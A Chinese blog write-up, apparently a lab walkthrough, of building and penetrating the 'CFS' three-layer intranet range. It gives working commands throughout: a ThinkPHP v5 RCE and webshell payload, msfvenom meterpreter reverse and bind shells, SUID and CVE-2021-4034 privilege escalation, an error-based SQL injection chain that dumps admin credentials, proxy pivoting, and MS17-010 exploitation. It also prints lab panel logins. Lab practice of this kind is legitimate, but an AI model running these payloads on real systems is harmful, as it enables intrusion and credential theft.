CFS 三层内网环境搭建及渗透
创始人
2025-05-28 01:45:03
0

0x00 cfs三层内网基本环境介绍及配置

hacker主机能ping通centos,centos能ping通unbuntun,,unbtun能ping通win7,内网centos,unbuntu有两张网卡,在vmare通过虚拟网络编辑器新建三张网卡,关闭dhcp服务,一定要注意取消将主机虚拟适配器连接到此网络,新增加网络适配器,选择对应的网卡

新建网卡 vmare2,vmare3

centos网卡选择 vamre2 vmare8(nat)

手动配置ip 192.168.10.20

cd /etc/sysconfig/network-scripts/
cp ifcfg-ens33 ifcfg-ens37

需要改的地方

BOOTPROTO=static                   换成静态           
HWADDR                             mac地址删掉 
DNS1,GATEWAY                      dns,网关不需要
IPADDR=192.168.10.10              ip地址
DEVICE=ens37                      设备名改成ens37,ifconfig后的网卡名 
NETAMSK=255.255.255.0             加网关

配置好的图:

systemctl restart network     #重启网络,可能会失败,但ifconfig后只要有ip即可

配置成功

ubuntu网卡选择 vmare 2 vmare3

手动配置ip 192.168.10.30 192.168.20.10

vim /etc/network/interfaces
#添加以下内容
auto eth33
iface eth33 inet static
address 192.168.10.20
netmask 255.255.255.0
auto eth38
iface eth38 inet static
address 192.168.20.10
netmask 255.255.255.0
#重启网络
systemctl restart networking

win7 网卡选择vmare3

手动配置ip 192.168.20.20

centos的宝塔面版配一下

http://192.168.85.143:8888/a768f109/
用户名: eaj3yhsl
密码: 41bb8fee

测试环境是否配置成功

kali

centos

0x01攻击centos

1.扫描网段,发现存活ip 192.168.85.143

nmap 192.168.85.0/24

2.访问网站:192.168.85.143

看到这首现想到thinkphp v5的漏洞,搜索相关exp

3.payload: 执行whoami命令

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

4.方法一:

尝试写一句话木马

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '' > 2.php

访问一下是否写入成功,post传入1=phpinfo();

php是7版本的,有些菜刀可能不支持,使用蚁剑连接

上传msf木马进行获取meterpreter

 #生成木马时需要看操作系统和操作系统位数
msfvenom -p linux/x64/meterpreter/reverse_tcp  lhost=192.168.85.129 lport=4444 -f elf -o 1.elf
#使用蚁剑上传木马,给予执行权限,并运行
chmod u+x 1.elf
./1.elf
#启动msf ,开启监听,监听端口默认4444,和生成的木马端口不同时,需要修改成生成的木马端口
msfconsole
use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.85.129
run

成功返回

4.方法二:

msf直接搜索thinkphp相关漏洞

search thinkphp
use 0
set lhost 192.168.85.129
set lport 4455
set rhosts 192.168.85.143
set rport 80
run

成功返回:

5.提权:

上传漏洞linux-exploit-suggeter探测脚本,说是有脏牛(cve2016-5195),失败,sudo(cve2021-3156)

内核失败

下一个尝试suid提权

手动探测:

python -c "import pty;pty.spawn('/bin/bash')"  #进入交互式shell
#手动探测
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

发现find

利用find提权:

find docw -exec /bin/bash -p \;

成功提权:

0x02 攻击ubuntu

在已经取得了centos的权限时,进行信息搜集,发现192.168.10.0网段,因为没有路由,kali(攻击机)是无法访问192.168.10.0网段的,如果只是msf用的话只需要添加路由即可,但是如果想用其他工具,比如说nmap,就需要进行设置代理了

1.添加路由

run post/multi/manage/autoroute

msf是充当代理服务器

利用全局代理工具将流量转发至centos,centos在转发给内网192.168.10.0网段的其他主机

Linux全局代理工具: proxychains

Windows全局代理工具: scokscap64,proxifier

socks代理隧道是不能通过icmp流量的

2.配置本地全局代理设置,默认是scoks4,本地的端口9050,注意用socks4很不稳定,很容易掉线

代理设置在最后面

vim /etc/proxychains4.conf

改成

scoks5 127.0.0.1 9050

3.开启代理服务器

background
use auxiliary/server/socks_proxy
set srvport 9050
set version 5              #scoks 4要设置为4a
run

3.信息搜集

因为知道是一个网站所以只扫了80

proxychains nmap -sT -T4 192.168.10.0/24-p80

从图上可以看出192.168.10.30是存活的开放了80端口,其他主机虽然说是存活的,但是服务都关闭了,所以应该是没有存活的

在使用各种工具时,加上proxychains就是代表流量经过这里转发

4.访问网站

proxychains firefox http://192.168.10.30

发现cms但是没找到相关漏洞,只是说有sql注入

发现信息提示

5.sql注入

index.php?r=vul&keyword=1' andupdatexml(1,concat(0x7e,(select database()),0x7e),1)-- +

得到数据库名:bagecms

index.php?r=vul&keyword=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27bagecms%27),0x7e),1)--%20+
/index.php?r=vul&keyword=1%27%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27bagecms%27%20limit%202,1),0x7e),1)--%20+
/index.php?r=vul&keyword=1%27%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27bagecms%27%20limit%203,1),0x7e),1)--%20+

得到的表名:bage_ad,bage_admin, bage_admin_group,bage_admin_logger

/index.php?r=vul&keyword=1%27%20and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27bagecms%27%20and%20table_name=%27bage_admin%27%20%20limit%201,1),0x7e),1)--%20+
/index.php?r=vul&keyword=1%27%20and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27bagecms%27%20and%20table_name=%27bage_admin%27%20%20limit%202,1),0x7e),1)--%20+

等到字段名:username,password

/index.php?r=vul&keyword=1%27%20and%20updatexml(1,concat(0x7e,(select%20username%20from%20bagecms.bage_admin%20limit%200,1),0x7e),1)--%20+
/index.php?r=vul&keyword=1%27%20and%20updatexml(1,concat(0x7e,(select%20password%20from%20bagecms.bage_admin%20limit%200,1),0x7e),1)--%20+
username :admin
password : 46f94c8de14fb36680850768ff1b7f2
密码解密 : 123qwe

6.扫目录,找后台

http://192.168.10.30/robots.txt

后台登录地址

http://192.168.10.30/ index.php?r=admini/public/login

7.改源码连一户话木马

8.蚁剑设置代理

9.msf生成木马,上线

 uname -a   #生成64位的木马

为什么生成正向连接的木马,因为对方不能和我们建立连接,而我们可以通过socks代理的隧道和对方进行通信

msfvenom -p linux/x64/meterpreter/bind_tcp lport=4455 -f elf -o 2.elf
proxychains msfconsole    #或在添加了路由的那个msf中,就不需要启动了msfconsole
set payload  linux/x64/meterpreter/bind_tcp
set lport 4455
set rhost 192.168.10.30
run

10.用蚁剑上传漏洞探测脚本,进行提权

发现cve-2021-3156,尝试使用exp进行提权

发现报错,大概率存在,在看一下版本

版本存在:

sudo: 1.8.2 - 1.8.31p2

sudo: 1.9.0 - 1.9.5p1

提权失败

尝试进行下一个Polkit(CVE-2021-4034),可能存在

进行编译运行

git clone https://github.com/berdav/CVE-2021-4034.git  #不能下载时,就自己复制链接下载,在传到目标靶机
cd CVE-2021-4034/                                     
make                  #编译                         
./cve-2021-4034       #运行

提权成功:

0x03 攻击win7

1.在ubuntu msf上线后添加路由

run post/multi/manage/autoroute

2.配置本地全局代理设置,默认是scoks4,本地的端口9050,注意用socks4很不稳定,很容易掉线

代理设置在最后面

vim /etc/proxychains4.conf

改成

scoks5 127.0.0.1 1080

这里应该也是可以访问192.168.10.30,不是直接到socks服务器上的,需要经过第一台的socks代理服务器(192.168.85.0网段到192.168.10.0网段的隧道),这样配完了就是一个逻辑上长的socks的隧道,因为访问192.168.20.20经过192.168.10.30的隧道。socks服务器是msf充当的,proxychains和sockscap只是全局代理工具

当代理端口为1080:

但代理端口为9050:

3.开启代理服务器

这里的socks4,还是socks5,代理一直掉线,不稳定

background
use auxiliary/server/socks_proxy
set srvport 1080
set version 5              #scoks 4要设置为4a
run

4.信息搜集

proxychains nmap -sT -T4 192.168.20.15-20 -p80,445,3389,3306

发现存活ip,并开放了445,试一下ms17-010(永恒之蓝)

5.使用msf使用ms17-010进行攻击

proxychains msfconsole  
search ms17-010
use 1
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.20.20
set rhosts 192.168.20.20
run

上线msf并成功提权

参考文章:

CFS三层内网环境 渗透流程_baynk的博客-CSDN博客

CFS三层内网靶场渗透记录【详细指南】 - FreeBuf网络安全行业门户

相关内容

热门资讯

深信服校园招聘安全攻防A卷 牛客网的题目:牛客网公司真题_免费模拟题库_企业面试|笔试真题 谈谈在WEB类安全问题...
一篇文章带你了解TCP/IP模... 目录 1、OSI模型 2、具体模型图 3、以太网协议 4、ARP地址解析协议 5、IP地址分类
爱心代码李峋同款爱心 pyth... 目录 前言 一、python 1.python 第一个 2.python第二个 二、HTML 1....
python 虚拟环境的原理分... 摘要说明:本文对python虚拟环境的原理,进行了一些简单分析ÿ...
基于gin+Grom的Gowe... 目录一、前端Vue框架的应用1.1 下载前端写好的代码(vue)二、后端...
3.15~3.16学习总结 https://vjudge.net/contest/547627#problem/F求解联通块个数...
Qt之QUrl和QUrlQue... QUrlQUrl 类提供了一个方便的接口使用 URLs。最常见的使用QUrl 的方式是通过构造函数来...
微信小程序 |基于Flask框... 文章目录一、效果预览1.1 首页推荐图1.2 菜谱智能识别页面1.3 菜谱类别列表1.4 步骤详情二...
Java Virtual Ma... Java Virtual Machine(JVM,Java虚拟机...
都说软件测试岗位是个人都会,但... 上一个说软件测试简单的,已经被面试官问emo了... 现在已经过了 ”不会但我会学“ ...
数据库面试题——锁 了解数据库的锁吗? 锁是数据库系统区别于文件系统的一个关键特性,锁机制用...
k8s pod 基本信息 1,最小部署单元 2,包含多个容器(一组容器的...
*9 set up 注意点 1、set up 执行的时机:beforeCreate 之前执行一次,t...
Maven的生命周期与插件 一、maven对项目构建的生命周期划分为运行三个阶段。 1、clean:清理工作。 ...
系统集成项目管理工程师:第10... 第10章项目质量管理 一、目录 10.1 项目质量管理概论 10.1.1 质量及质量管理概念 10...
数据结构--二叉树 目录1.树概念及结构1.1数的概念1.2数的表示2.二叉树概念及结构2.1二叉树的概念2.2数据结构...
vue项目关于iframe嵌套... 1.需求 这两天工作中遇到一个这样的需求,切换tab标签时,要求对应的t...
【springboot】单元测... 1、JUnit5 的变化 Spring Boot 2.2.0 版本开始引入 JUnit 5 作为单元...
JVM学习笔记 01 - JV... JVM、JDK和JRE JVM全称 Java Virtual Machine,也就是我...
[ 红队知识库 ] Windo... 🍬 博主介绍 👨‍🎓 博主介绍:大家好...